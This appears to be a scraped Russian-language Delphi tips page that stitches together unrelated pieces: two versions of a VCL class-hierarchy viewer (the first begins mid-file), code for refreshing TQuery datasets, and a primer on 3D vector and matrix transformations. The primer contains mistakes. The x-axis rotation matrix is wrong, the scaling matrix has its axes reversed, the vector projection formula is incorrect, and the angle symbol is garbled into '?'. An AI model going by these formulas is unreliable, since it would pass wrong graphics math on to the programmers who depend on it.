Olectrls, Outline, Tabnotbk, Tabs, IniFiles, Printers,
Registry, DsgnIntf, Provider, BdeProv, DBClient,
ComObj, ActiveX, DDEMan, IBCtrls, Math, Nsapi, Isapi,
ScktComp, Axctrls, Calendar, CgiApp, checklst,
ColorGrd, ComServ, syncobjs, httpapp, dbweb, DirOutln,
Gauges, DsIntf, ToolIntf, EditINtf, ExptIntf, VirtIntf,
istreams, isapiapp, dblogdlg, masks, ExtDlgs, Spin, dbpwdlg;
type
TForm1 = class(TForm)
TreeView1: TTreeView;
Splitter1: TSplitter;
Memo1: TMemo;
Panel: TPanel;
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
function AddClass (NewClass: TClass): TTreeNode;
function GetNode (BaseClass: TClass): TTreeNode;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
TClassArray = array [1..501] of TClass;
const
ClassArray: TClassArray = (
EAbort,
EAccessViolation,
EAssertionFailed,
EBitsError,
EClassNotFound,
EComponentError,
EControlC,
EConvertError,
EDatabaseError,
EDateTimeError,
EDBClient,
EDBEditError,
EDBEngineError,
EDivByZero,
EExternalException,
EFCreateError,
EFilerError,
EFOpenError,
EIBError,
EInOutError,
EIntError,
EIntfCastError,
EIntOverflow,
EInvalidArgument,
EInvalidCast,
EInvalidContainer,
EInvalidGraphic,
EInvalidGraphicOperation,
EInvalidGridOperation,
EInvalidImage,
EInvalidInsert,
EInvalidOp,
EInvalidOperation,
EInvalidPointer,
EListError,
EMathError,
EMCIDeviceError,
EMenuError,
EMethodNotFound,
ENoResultSet,
EOleCtrlError,
EOleError,
EOleException,
EOleException,
EOleSysError,
EOutlineError,
EOutOfMemory,
EOutOfResources,
EOverflow,
EPackageError,
EParserError,
EPrinter,
EPrivilege,
EPropertyError,
EPropReadOnly,
EPropWriteOnly,
ERangeError,
EReadError,
EReconcileError,
ERegistryException,
EResNotFound,
ESocketError,
EStackOverflow,
EStreamError,
EStringListError,
EThread,
ETreeViewError,
EUnderflow,
EUpdateError,
EVariantError,
EWin32Error,
EWriteError,
Exception,
EZeroDivide,
OutlineError,
TActiveForm,
TActiveFormControl,
TActiveFormFactory,
TActiveXControl,
TActiveXControlFactory,
TActiveXPropertyPage,
TActiveXPropertyPageFactory,
TAdapterNotifier,
TAggregatedObject,
TAnimate,
TApplication,
TAutoIncField,
TAutoIntfObject,
TAutoObject,
TAutoObjectFactory,
TBatchMove,
TBCDField,
TBDECallback,
TBDEDataSet,
TBevel,
TBinaryField,
TBitBtn,
TBitmap,
TBitmapImage,
TBits,
TBlobField,
TBlobStream,
TBookmarkList,
TBooleanField,
TBoolProperty,
TBrush,
TButton,
TButtonControl,
TBytesField,
TCalendar,
TCanvas,
TCaptionProperty,
TCGIApplication,
TCGIRequest,
TCGIResponse,
TChangeLink,
TCharProperty,
TCheckBox,
TCheckConstraint,
TCheckConstraints,
TCheckListBox,
TClassProperty,
TClientDataSet,
TClientSocket,
TClientWinSocket,
TClipboard,
TCollection,
TCollectionItem,
TColorDialog,
TColorGrid,
TColorProperty,
TColumn,
TColumnTitle,
TComboBox,
TComboButton,
TComClassManager,
TCommonDialog,
TCommonDialog,
TComObject,
TComObjectFactory,
TComponent,
TComponentEditor,
TComponentList,
TComponentNameProperty,
TComponentProperty,
TComServer,
TComServerObject,
TComServerObject,
TConnectionPoint,
TConnectionPoints,
TContainedObject,
TControl,
TControlCanvas,
TControlScrollBar,
TConversion,
TCoolBand,
TCoolBands,
TCoolBar,
TCriticalSection,
TCurrencyField,
TCursorProperty,
TCustomAdapter,
TCustomAdapter,
TCustomCheckBox,
TCustomComboBox,
TCustomContentProducer,
TCustomControl,
TCustomDBGrid,
TCustomEdit,
TCustomForm,
TCustomGrid,
TCustomGroupBox,
TCustomHotKey,
TCustomImageList,
TCustomLabel,
TCustomListBox,
TCustomListView,
TCustomMaskEdit,
TCustomMemo,
TCustomMemoryStream,
TCustomModule,
TCustomOutline,
TCustomPageProducer,
TCustomPanel,
TCustomProvider,
TCustomRadioGroup,
TCustomRemoteServer,
TCustomRemoteServer,
TCustomRichEdit,
TCustomServerSocket,
TCustomSocket,
TCustomStaticText,
TCustomTabControl,
TCustomTreeView,
TCustomUpDown,
TCustomWebDispatcher,
TCustomWinSocket,
TDatabase,
TDataLink,
TDataModule,
TDataSet,
TDataSetDesigner,
TDataSetTableProducer,
TDataSetUpdateObject,
TDataSetUpdateObject,
TDataSource,
TDataSourceLink,
TDateField,
TDateProperty,
TDateTimeColors,
TDateTimeField,
TDateTimePicker,
TDBCheckBox,
TDBComboBox,
TDBCtrlGrid,
TDBCtrlGridLink,
TDBCtrlPanel,
TDBDataSet,
TDBEdit,
TDBError,
TDBGrid,
TDBGridColumns,
TDBImage,
TDBListBox,
TDBLookupCombo,
TDBLookupComboBox,
TDBLookupControl,
TDBLookupList,
TDBLookupListBox,
TDBMemo,
TDBNavigator,
TDBRadioGroup,
TDBRichEdit,
TDBText,
TDdeClientConv,
TDdeClientItem,
TDdeMgr,
TDdeServerConv,
TDdeServerItem,
TDefaultEditor,
TDesigner,
TDirectoryListBox,
TDirectoryOutline,
TDragControlObject,
TDragObject,
TDrawGrid,
TDriveComboBox,
TDSTableProducer,
TDSTableProducerEditor,
TEdit,
TEnumPropDesc,
TEnumProperty,
TEvent,
TEventDispatch,
TField,
TFieldDataLink,
TFieldDef,
TFieldDefs,
TFileListBox,
TFiler,
TFileStream,
TFilterComboBox,
TFindDialog,
TFloatField,
TFloatProperty,
TFont,
TFontAdapter,
TFontCharsetProperty,
TFontDialog,
TFontNameProperty,
TFontProperty,
TForm,
TFormDesigner,
TGauge,
TGraphic,
TGraphicControl,
TGraphicField,
TGraphicsObject,
TGridDataLink,
TGroupBox,
THandleObject,
THandleStream,
THeader,
THeaderControl,
THeaderSection,
THeaderSections,
THintWindow,
THotKey,
THTMLTableAttributes,
THTMLTableCellAttributes,
THTMLTableColumn,
THTMLTableColumns,
THTMLTableElementAttributes,
THTMLTableHeaderAttributes,
THTMLTableRowAttributes,
THTMLTagAttributes,
THTTPDataLink,
TIBComponent,
TIBEventAlerter,
TIComponentInterface,
TIcon,
TIconImage,
TIconOptions,
TIEditorInterface,
TIEditReader,
TIEditView,
TIEditWriter,
TIExpert,
TIFileStream,
TIFormInterface,
TImage,
TImageList,
TIMainMenuIntf,
TIMemoryStream,
TImeNameProperty,
TIMenuItemIntf,
TIModuleCreator,
TIModuleInterface,
TIModuleNotifier,
TIndexDef,
TIndexDefs,
TIndexFiles,
TIniFile,
TInplaceEdit,
TIntegerField,
TIntegerProperty,
TInterface,
TInterfacedObject,
TIProjectCreator,
TIResourceEntry,
TIResourceFile,
TISAPIApplication,
TISAPIRequest,
TISAPIResponse,
TIStream,
TIStreamAdapter,
TIToolServices,
TIVCLStreamAdapter,
TLabel,
TList,
TListBox,
TListColumn,
TListColumns,
TListColumns,
TListItem,
TListItems,
TListSourceLink,
TListView,
TLoginDialog,
TLookupList,
TMainMenu,
TMask,
TMaskEdit,
TMediaPlayer,
TMemo,
TMemoField,
TMemoryStream,
TMenu,
TMenuItem,
TMetafile,
TMetafileCanvas,
TMetafileImage,
TMethodProperty,
TModalResultProperty,
TMPFilenameProperty,
TNavButton,
TNavButton,
TNavDataLink,
TNotebook,
TNumericField,
TObject,
TOleContainer,
TOleControl,
TOleForm,
TOleGraphic,
TOleStream,
TOpenDialog,
TOpenPictureDialog,
TOrdinalProperty,
TOutline,
TOutlineNode,
TPage,
TPageControl,
TPageProducer,
TPaintBox,
TPaintControl,
TPanel,
TParaAttributes,
TParam,
TParamList,
TParams,
TParser,
TPasswordDialog,
TPen,
TPersistent,
TPicture,
TPictureAdapter,
TPopupDataList,
TPopupGrid,
TPopupMenu,
TPrintDialog,
TPrinter,
TPrinterSetupDialog,
TProgressBar,
TPropertyEditor,
TPropertyPage,
TProvider,
TProviderObject,
TQuery,
TQueryTableProducer,
TRadioButton,
TRadioGroup,
TReader,
TRegIniFile,
TRegistry,
TRemoteServer,
TReplaceDialog,
TResourceStream,
TRichEdit,
TSaveDialog,
TSavePictureDialog,
TScreen,
TScrollBar,
TScrollBox,
TScroller,
TScrollingWinControl,
TServerAcceptThread,
TServerClientThread,
TServerClientWinSocket,
TServerSocket,
TServerWinSocket,
dbtables.TSession,
TSessionList,
TSetElementProperty,
TSetProperty,
TShape,
TSharedImage,
TShortCutProperty,
TSimpleEvent,
TSmallintField,
TSpeedButton,
TSpinButton,
TSpinEdit,
TSplitter,
TStaticText,
TStatusBar,
TStatusBar,
TStatusPanel,
TStatusPanels,
TStoredProc,
TStream,
TStringField,
TStringGrid,
TStringGrid,
TStringGridStrings,
TStringList,
TStringProperty,
TStrings,
TStringsAdapter,
TStringStream,
TSynchroObject,
TTabbedNotebook,
TTabControl,
TTable,
TTabList,
TTabOrderProperty,
TTabPage,
TTabSet,
TTabSheet,
TTextAttributes,
TThread,
TThreadList,
TTimeField,
TTimeProperty,
TTimer,
TTimerSpeedButton,
TToolBar,
TToolButton,
TTrackBar,
TTreeNode,
TTreeNodes,
TTreeView,
TTypedComObject,
TTypedComObjectFactory,
TUpdateSQL,
TUpDown,
TVarBytesField,
TVirtualStream,
TWebActionItem,
TWebActionItems,
TWebApplication,
TWebDispatcher,
TWebModule,
TWebRequest,
TWebResponse,
TWinCGIRequest,
TWinCGIResponse,
TWinControl,
TWinSocketStream,
TWordField,
TWriter
);
function TForm1.AddClass (NewClass: TClass): TTreeNode;
var
ParentNode: TTreeNode;
begin
// if the class is not there...
Result := GetNode (NewClass);
if Result = nil then
begin
// look for the parent (eventually adding it)
ParentNode := AddClass (NewClass.ClassParent);
// add the new class
Result := TreeView1.Items.AddChildObject (
ParentNode,
NewClass.ClassName,
Pointer (NewClass));
end;
end;
function TForm1.GetNode (BaseClass: TClass): TTreeNode;
var
Node1: TTreeNode;
begin
Result := nil; // not found
// find the node in the tree
Node1 := TreeView1.Items.GetFirstNode;
while Node1 <> nil do
begin
// if Node1.Text = BaseClass.ClassName then
if Node1.Data = BaseClass then
begin
Result := Node1;
Exit;
end;
Node1 := Node1.GetNext;
Forms.Application.ProcessMessages;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
TreeView1.FullExpand;
end;
procedure TForm1.TreeView1Change (
Sender: TObject; Node: TTreeNode);
var
MyClass: TClass;
I: Integer;
begin
MyClass := nil;
for I := Low (ClassArray) to High (ClassArray) do
if ClassArray [I].ClassName = Node.Text then
MyClass := ClassArray [I];
Memo1.Lines.Clear;
if MyClass = nil then
Memo1.Lines.Add ('RTTI information not found')
else
begin
Memo1.Lines.Add (Format ('Name: %s - Size: %d bytes',
[MyClass.ClassName, MyClass.InstanceSize]));
Memo1.Lines.Add ('');
Memo1.Lines.Add ('=== Parent classes ===');
while MyClass.ClassParent <> nil do
begin
MyClass := MyClass.ClassParent;
Memo1.Lines.Add (MyClass.ClassName);
end;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
TreeView1.FullCollapse;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
MessageDlg ('VCL Hierarchy Viewer',
mtInformation, [mbOK], 0);
end;
end.
|
unit VclhCreateForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,
Dbctrls, Dbgrids, Dblookup, Dbtables, Dialogs,
Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,
Olectrls, Outline, Tabnotbk, Tabs, IniFiles, Printers,
Registry, DsgnIntf, Provider, BdeProv, DBClient,
ComObj, ActiveX, DDEMan, IBCtrls, Math, Nsapi, Isapi,
ScktComp, Axctrls, Calendar, CgiApp, checklst,
ColorGrd, ComServ, syncobjs, httpapp, dbweb, DirOutln,
Gauges, DsIntf, ToolIntf, EditINtf, ExptIntf, VirtIntf,
istreams, isapiapp, dblogdlg, masks, ExtDlgs, Spin, dbpwdlg;
type
TForm1 = class(TForm)
TreeView1: TTreeView;
ProgressBar1: TProgressBar;
Button1: TButton;
Button2: TButton;
Splitter1: TSplitter;
Memo1: TMemo;
Panel: TPanel;
Button3: TButton;
SaveDialog1: TSaveDialog;
procedure Button1Click(Sender: TObject);
procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
function AddClass (NewClass: TClass): TTreeNode;
function GetNode (BaseClass: TClass): TTreeNode;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
TClassArray = array [1..500] of TClass;
const
ClassArray: TClassArray = (
EAbort,
EAccessViolation,
EAssertionFailed,
EBitsError,
EClassNotFound,
EComponentError,
EControlC,
EConvertError,
EDatabaseError,
EDateTimeError,
EDBClient,
EDBEditError,
EDBEngineError,
EDivByZero,
EExternalException,
EFCreateError,
EFilerError,
EFOpenError,
EIBError,
EInOutError,
EIntError,
EIntfCastError,
EIntOverflow,
EInvalidArgument,
EInvalidCast,
EInvalidContainer,
EInvalidGraphic,
EInvalidGraphicOperation,
EInvalidGridOperation,
EInvalidImage,
EInvalidInsert,
EInvalidOp,
EInvalidOperation,
EInvalidPointer,
EListError,
EMathError,
EMCIDeviceError,
EMenuError,
EMethodNotFound,
ENoResultSet,
EOleCtrlError,
EOleError,
EOleException,
EOleException,
EOleSysError,
EOutlineError,
EOutOfMemory,
EOutOfResources,
EOverflow,
EPackageError,
EParserError,
EPrinter,
EPrivilege,
EPropertyError,
EPropReadOnly,
EPropWriteOnly,
ERangeError,
EReadError,
EReconcileError,
ERegistryException,
EResNotFound,
ESocketError,
EStackOverflow,
EStreamError,
EStringListError,
EThread,
ETreeViewError,
EUnderflow,
EUpdateError,
EVariantError,
EWin32Error,
EWriteError,
Exception,
EZeroDivide,
OutlineError,
TActiveForm,
TActiveFormControl,
TActiveFormFactory,
TActiveXControl,
TActiveXControlFactory,
TActiveXPropertyPage,
TActiveXPropertyPageFactory,
TAdapterNotifier,
TAggregatedObject,
TAnimate,
TApplication,
TAutoIncField,
TAutoIntfObject,
TAutoObject,
TAutoObjectFactory,
TBatchMove,
TBCDField,
TBDECallback,
TBDEDataSet,
TBevel,
TBinaryField,
TBitBtn,
TBitmap,
TBitmapImage,
TBits,
TBlobField,
TBlobStream,
TBookmarkList,
TBooleanField,
TBoolProperty,
TBrush,
TButton,
TButtonControl,
TBytesField,
TCalendar,
TCanvas,
TCaptionProperty,
TCGIApplication,
TCGIRequest,
TCGIResponse,
TChangeLink,
TCharProperty,
TCheckBox,
TCheckConstraint,
TCheckConstraints,
TCheckListBox,
TClassProperty,
TClientDataSet,
TClientSocket,
TClientWinSocket,
TClipboard,
TCollection,
TCollectionItem,
TColorDialog,
TColorGrid,
TColorProperty,
TColumn,
TColumnTitle,
TComboBox,
TComboButton,
TComClassManager,
TCommonDialog,
TCommonDialog,
TComObject,
TComObjectFactory,
TComponent,
TComponentEditor,
TComponentList,
TComponentNameProperty,
TComponentProperty,
TComServer,
TComServerObject,
TComServerObject,
TConnectionPoint,
TConnectionPoints,
TContainedObject,
TControl,
TControlCanvas,
TControlScrollBar,
TConversion,
TCoolBand,
TCoolBands,
TCoolBar,
TCriticalSection,
TCurrencyField,
TCursorProperty,
TCustomAdapter,
TCustomAdapter,
TCustomCheckBox,
TCustomComboBox,
TCustomControl,
TCustomDBGrid,
TCustomEdit,
TCustomForm,
TCustomGrid,
TCustomGroupBox,
TCustomHotKey,
TCustomImageList,
TCustomLabel,
TCustomListBox,
TCustomListView,
TCustomMaskEdit,
TCustomMemo,
TCustomMemoryStream,
TCustomModule,
TCustomOutline,
TCustomPageProducer,
TCustomPanel,
TCustomProvider,
TCustomRadioGroup,
TCustomRemoteServer,
TCustomRemoteServer,
TCustomRichEdit,
TCustomServerSocket,
TCustomSocket,
TCustomStaticText,
TCustomTabControl,
TCustomTreeView,
TCustomUpDown,
TCustomWebDispatcher,
TCustomWinSocket,
TDatabase,
TDataLink,
TDataModule,
TDataSet,
TDataSetDesigner,
TDataSetTableProducer,
TDataSetUpdateObject,
TDataSetUpdateObject,
TDataSource,
TDataSourceLink,
TDateField,
TDateProperty,
TDateTimeColors,
TDateTimeField,
TDateTimePicker,
TDBCheckBox,
TDBComboBox,
TDBCtrlGrid,
TDBCtrlGridLink,
TDBCtrlPanel,
TDBDataSet,
TDBEdit,
TDBError,
TDBGrid,
TDBGridColumns,
TDBImage,
TDBListBox,
TDBLookupCombo,
TDBLookupComboBox,
TDBLookupControl,
TDBLookupList,
TDBLookupListBox,
TDBMemo,
TDBNavigator,
TDBRadioGroup,
TDBRichEdit,
TDBText,
TDdeClientConv,
TDdeClientItem,
TDdeMgr,
TDdeServerConv,
TDdeServerItem,
TDefaultEditor,
TDesigner,
TDirectoryListBox,
TDirectoryOutline,
TDragControlObject,
TDragObject,
TDrawGrid,
TDriveComboBox,
TDSTableProducer,
TDSTableProducerEditor,
TEdit,
TEnumPropDesc,
TEnumProperty,
TEvent,
TEventDispatch,
TField,
TFieldDataLink,
TFieldDef,
TFieldDefs,
TFileListBox,
TFiler,
TFileStream,
TFilterComboBox,
TFindDialog,
TFloatField,
TFloatProperty,
TFont,
TFontAdapter,
TFontCharsetProperty,
TFontDialog,
TFontNameProperty,
TFontProperty,
TForm,
TFormDesigner,
TGauge,
TGraphic,
TGraphicControl,
TGraphicField,
TGraphicsObject,
TGridDataLink,
TGroupBox,
THandleObject,
THandleStream,
THeader,
THeaderControl,
THeaderSection,
THeaderSections,
THintWindow,
THotKey,
THTMLTableAttributes,
THTMLTableCellAttributes,
THTMLTableColumn,
THTMLTableColumns,
THTMLTableElementAttributes,
THTMLTableHeaderAttributes,
THTMLTableRowAttributes,
THTMLTagAttributes,
THTTPDataLink,
TIBComponent,
TIBEventAlerter,
TIComponentInterface,
TIcon,
TIconImage,
TIconOptions,
TIEditorInterface,
TIEditReader,
TIEditView,
TIEditWriter,
TIExpert,
TIFileStream,
TIFormInterface,
TImage,
TImageList,
TIMainMenuIntf,
TIMemoryStream,
TImeNameProperty,
TIMenuItemIntf,
TIModuleCreator,
TIModuleInterface,
TIModuleNotifier,
TIndexDef,
TIndexDefs,
TIndexFiles,
TIniFile,
TInplaceEdit,
TIntegerField,
TIntegerProperty,
TInterface,
TInterfacedObject,
TIProjectCreator,
TIResourceEntry,
TIResourceFile,
TISAPIApplication,
TISAPIRequest,
TISAPIResponse,
TIStream,
TIStreamAdapter,
TIToolServices,
TIVCLStreamAdapter,
TLabel,
TList,
TListBox,
TListColumn,
TListColumns,
TListColumns,
TListItem,
TListItems,
TListSourceLink,
TListView,
TLoginDialog,
TLookupList,
TMainMenu,
TMask,
TMaskEdit,
TMediaPlayer,
TMemo,
TMemoField,
TMemoryStream,
TMenu,
TMenuItem,
TMetafile,
TMetafileCanvas,
TMetafileImage,
TMethodProperty,
TModalResultProperty,
TMPFilenameProperty,
TNavButton,
TNavButton,
TNavDataLink,
TNotebook,
TNumericField,
TObject,
TOleContainer,
TOleControl,
TOleForm,
TOleGraphic,
TOleStream,
TOpenDialog,
TOpenPictureDialog,
TOrdinalProperty,
TOutline,
TOutlineNode,
TPage,
TPageControl,
TPageProducer,
TPaintBox,
TPaintControl,
TPanel,
TParaAttributes,
TParam,
TParamList,
TParams,
TParser,
TPasswordDialog,
TPen,
TPersistent,
TPicture,
TPictureAdapter,
TPopupDataList,
TPopupGrid,
TPopupMenu,
TPrintDialog,
TPrinter,
TPrinterSetupDialog,
TProgressBar,
TPropertyEditor,
TPropertyPage,
TProvider,
TProviderObject,
TQuery,
TQueryTableProducer,
TRadioButton,
TRadioGroup,
TReader,
TRegIniFile,
TRegistry,
TRemoteServer,
TReplaceDialog,
TResourceStream,
TRichEdit,
TSaveDialog,
TSavePictureDialog,
TScreen,
TScrollBar,
TScrollBox,
TScroller,
TScrollingWinControl,
TServerAcceptThread,
TServerClientThread,
TServerClientWinSocket,
TServerSocket,
TServerWinSocket,
dbtables.TSession,
TSessionList,
TSetElementProperty,
TSetProperty,
TShape,
TSharedImage,
TShortCutProperty,
TSimpleEvent,
TSmallintField,
TSpeedButton,
TSpinButton,
TSpinEdit,
TSplitter,
TStaticText,
TStatusBar,
TStatusBar,
TStatusPanel,
TStatusPanels,
TStoredProc,
TStream,
TStringField,
TStringGrid,
TStringGrid,
TStringGridStrings,
TStringList,
TStringProperty,
TStrings,
TStringsAdapter,
TStringStream,
TSynchroObject,
TTabbedNotebook,
TTabControl,
TTable,
TTabList,
TTabOrderProperty,
TTabPage,
TTabSet,
TTabSheet,
TTextAttributes,
TThread,
TThreadList,
TTimeField,
TTimeProperty,
TTimer,
TTimerSpeedButton,
TToolBar,
TToolButton,
TTrackBar,
TTreeNode,
TTreeNodes,
TTreeView,
TTypedComObject,
TTypedComObjectFactory,
TUpdateSQL,
TUpDown,
TVarBytesField,
TVirtualStream,
TWebActionItem,
TWebActionItems,
TWebApplication,
TWebDispatcher,
TWebModule,
TWebRequest,
TWebResponse,
TWinCGIRequest,
TWinCGIResponse,
TWinControl,
TWinSocketStream,
TWordField,
TWriter
);
function TForm1.AddClass (NewClass: TClass): TTreeNode;
var
ParentNode: TTreeNode;
begin
// if the class is not there...
Result := GetNode (NewClass);
if Result = nil then
begin
// look for the parent (eventually adding it)
ParentNode := AddClass (NewClass.ClassParent);
// add the new class
Result := TreeView1.Items.AddChildObject (
ParentNode,
NewClass.ClassName,
Pointer (NewClass));
end;
end;
function TForm1.GetNode (BaseClass: TClass): TTreeNode;
var
Node1: TTreeNode;
begin
Result := nil; // not found
// find the node in the tree
Node1 := TreeView1.Items.GetFirstNode;
while Node1 <> nil do
begin
// if Node1.Text = BaseClass.ClassName then
if Node1.Data = BaseClass then
begin
Result := Node1;
Exit;
end;
Node1 := Node1.GetNext;
Forms.Application.ProcessMessages;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
I: Integer;
begin
// add the root class
TreeView1.Items.AddObject (nil, 'TObject',
Pointer (TObject));
// add each class to the tree
ProgressBar1.Min := Low (ClassArray);
ProgressBar1.Max := High (ClassArray);
for I := Low (ClassArray) to High (ClassArray) do
begin
AddClass (ClassArray [I]);
ProgressBar1.Position := I;
end;
Beep;
ShowMessage ('Tree Completed');
Button2.Enabled := True;
Button1.Enabled := False;
end;
procedure TForm1.TreeView1Change (
Sender: TObject; Node: TTreeNode);
var
MyClass: TClass;
begin
MyClass := TClass (Node.Data);
Memo1.Lines.Clear;
Memo1.Lines.Add (Format ('Name: %s - Size: %d bytes',
[MyClass.ClassName, MyClass.InstanceSize]));
Memo1.Lines.Add ('');
Memo1.Lines.Add ('=== Parent classes ===');
while MyClass.ClassParent <> nil do
begin
MyClass := MyClass.ClassParent;
Memo1.Lines.Add (MyClass.ClassName);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Screen.Cursor := crHourglass;
TreeView1.SortType := stText;
Screen.Cursor := crDefault;
Button2.Enabled := False;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if SaveDialog1.Execute then
TreeView1.SaveToFile (SaveDialog1.FileName);
end;
end.
|
Загрузить весь проект
Как научить VCL делать Refresh для запросов правильно.
| Автор: Nomadic |
| Если вы чехол с компьютера снимаете чаще, чем платье с вашей подруги, то вы уже давно научный сотрудник. |
Старо как мир, и нет ничего военного:
procedure RefreshQuery(Query: TQuery; F: boolean);
var
B: TBookMark;
begin
with Query do
if Query.Active then
begin
B := GetBookMark;
try
Close;
Unprepare;
{Если не поставить этого, то если используется select
SP, то иногда последующая операция вешает сервер.
Кто скажет почему?!}
Active := True;
if F then
begin
try
GotoBookMark(B)
except
on EDatabaseError do
First;
end
end
else
First;
finally
FreeBookmark(B);
end;
end;
end;
|
TQuery.RefreshParams should be updated.
function GetFieldNamesStr(DataSet: TDataSet): string;
var
I: Integer;
begin
Result := '';
with DataSet do
for I := 0 to FieldCount - 1 do
begin
Result := Result + Fields[I].FieldName + ';';
end;
end;
procedure DoRefreshQuery(Query: TQuery; KeyFields: string; BookMarkSearch:
Boolean);
var
Fields: TList;
KeyValues: Variant;
KeyNames: string;
Bmk: TBookmark;
I: Integer;
BookmarkFound: Boolean;
CanLocate: Boolean;
begin
Fields := TList.Create;
if KeyFields = '' then
KeyFields := GetFieldNamesStr(Query);
try
Query.GetFieldList(Fields, KeyFields);
for I := Fields.Count - 1 downto 0 do
with TField(Fields[I]) do
if Calculated or Lookup then
Fields.Delete(I);
CanLocate := Fields.Count > 0;
if CanLocate then
begin
if Fields.Count = 1 then
KeyValues := TField(Fields[0]).Value
else
begin
KeyValues := VarArrayCreate([0, Fields.Count - 1], varVariant);
KeyValues[0] := TField(Fields[0]).Value;
end;
KeyNames := TField(Fields[0]).FieldName;
for I := 1 to Fields.Count - 1 do
begin
KeyNames := KeyNames + ';' + TField(Fields[I]).FieldName;
KeyValues[I] := TField(Fields[I]).Value;
end;
end;
finally
Fields.Free;
end;
with Query do
begin
Bmk := nil;
DisableControls;
try
BookmarkFound := False;
if BookMarkSearch then
Bmk := GetBookmark;
Close;
Open;
if Assigned(Bmk) then
try
GotoBookMark(Bmk);
BookmarkFound := True;
except
end;
if not BookmarkFound and CanLocate then
Locate(KeyNames, KeyValues, []);
finally
EnableControls;
Screen.Cursor := crDefault;
FreeBookmark(Bmk);
end;
end;
end;
procedure TQuery.RefreshParams;
var
DataSet: TDataSet;
begin
DisableControls;
try
if FDataLink.DataSource <> nil then
begin
DataSet := FDataLink.DataSource.DataSet;
if DataSet <> nil then
if DataSet.Active and (DataSet.State <> dsSetKey) then
DoRefreshQuery(Self, GetFieldNamesStr(Self), False);
end;
finally
EnableControls;
end;
end;
|
Основы 3D математики - Векторные и матричные преобразования.
Векторы
Вектор - направленный отрезок, имеющий направление и длину. Векторы обозначаются так: a = (x,y,z), например, b = (0,1,-2). Еще одно представление вектора : AB = (x,y,z).
AB = (x,y,z) = (bx-ax,by-ay,bz-az), |
Где A и B - 2 точки, A(ax,ay,az) и B(bx,by,bz), A - начало вектора, B - конец вектора.
Длина вектора.
Длина вектора, |a|, считается так:
|a| = sqrt(ax2+ay2+az2). |
Сложение векторов.
a + b = c; a + b = (ax + bx, ay + by, az + bz). |
Т. е. как результат мы получаем вектор.
Вычитание векторов.
c - a = b; c - a = (cx - ax, cy - ay, cz - az). |
Как результат - также мы получаем вектор.
Скалярное произведение векторов.(dot).
Скалярное произведение 2х векторов - произведение длин 2х векторов на cos угла между ними. Скалярное произведение векторов - это длина проекции вектора a на вектор b.
a . b = |a| |b| cos ?; |
Или.
a . b = axbx + ayby + azbz; |
Следствие: ? - угол между двумя векторами: cos ? = a . b / (|a| |b|);
Проекция одного вектора на другой.
Для того, чтобы вычислить проекцию вектора b на вектор а требуется просто произвести скалярное умножение этих векторов, а затем получить произведение получившегося результата на вектор b. Обозначим искомый вектор как c. тогда:
c = (a . b) b; |
Фактически, мы находим длину проекции и, умножая ее на вектор, проекцию которого мы нашли, маштабируем его до нужного размера.
Умножение вектора на вектор.(cross).
Умножая вектор a на вектор b, мы получим вектор, перпендикулярный плоскости, которую определяют вектора a и b.
a x b = ( aybz - byaz , azbx - bzax , axby - bxay ); |
Фактически, таким образом находиться вектор нормали к полигонам.
Матрицы
Здесь я постарался вкратце изложить то, что мы будем делать с матрицами.
Скалярное произведение векторов:
[ a ] [ d ] [ b ] * [ f ] = a*d + b*f + c*g [ c ] [ g ] |
Векторное произведение:
[ a ] [ d ] [ b*f - c*e ] AxB = [ b ] x [ e ] = [ c*d - a*f ] [ c ] [ f ] [ a*e - b*d ] |
Сложение матриц:
[ 1 2 3 ] [ 10 11 12 ] [ 1+10 2+11 3+12 ] [ 4 5 6 ] + [ 13 14 15 ] = [ 4+13 5+14 6+15 ] [ 7 8 9 ] [ 16 17 18 ] [ 7+16 8+17 9+18 ] |
Умножение матриц:
[ 1 2 3 ] [ 10 11 12 ] [ 1*10+2*13+3*16 1*11+2*14+3*17 1*12+2*15+3*18 ] [ 4 5 6 ] * [ 13 14 15 ] = [ 4*10+5*13+6*16 4*11+5*14+6*17 4*12+5*15+6*18 ] [ 7 8 9 ] [ 16 17 18 ] [ 7*10+8*13+9*16 7*11+8*14+9*17 7*12+8*15+9*18 ] |
Очень важным является тот факт, что (A*B)*С = A*(B*C).
Векторные и матричные преобразования
Параллельный перенос:
Переносим точку (x,y,z) на вектор (dx,dy,dz), в результате получим точку с координатами (x+dx, y+dy, z+dz);
Поворот:
Поворачиваем точку (x,y) на угол ? :
x' = x cos ? - y*sin ? y' = x sin ? + y*cos ? |
Для трехмерного случая - аналогично для каждой плоскости.
Ясно, что если нам потребуется (а нам потребуется :) ) проводить для каждой точки в пространстве параллельный перенос + поворот в пространстве, то придеться сделать огромное количество преобразований.
Можно построить матрицы преобразований, помножив точку - вектор на которую, мы получим результат - координаты искомой точки.
Матрица параллельного переноса:
[ 1 0 0 0 ] [ 0 1 0 0 ] [ 0 0 1 0 ] [ x y z 1 ] |
Матрица растяжения/сжатия:
[ z 0 0 0 ] [ 0 y 0 0 ] [ 0 0 x 0 ] [ 0 0 0 1 ] |
Матрица поворота вокруг оси x:
[ 0 0 0 0 ] [ 0 cos ? sin ? 0 ] [ 0 -sin ? cos ? 0 ] [ 0 0 0 1 ] |
Матрица поворота вокруг оси y:
[ cos ? 0 -sin ? 0 ] [ 0 1 0 0 ] [ sin ? 0 cos ? 0 ] [ 0 0 0 1 ] |
Матрица поворота вокруг оси z:
[ cos ? sin ? 0 0 ] [-sin ? cos ? 0 0 ] [ 0 0 1 0 ] [ 0 0 0 1 ] |
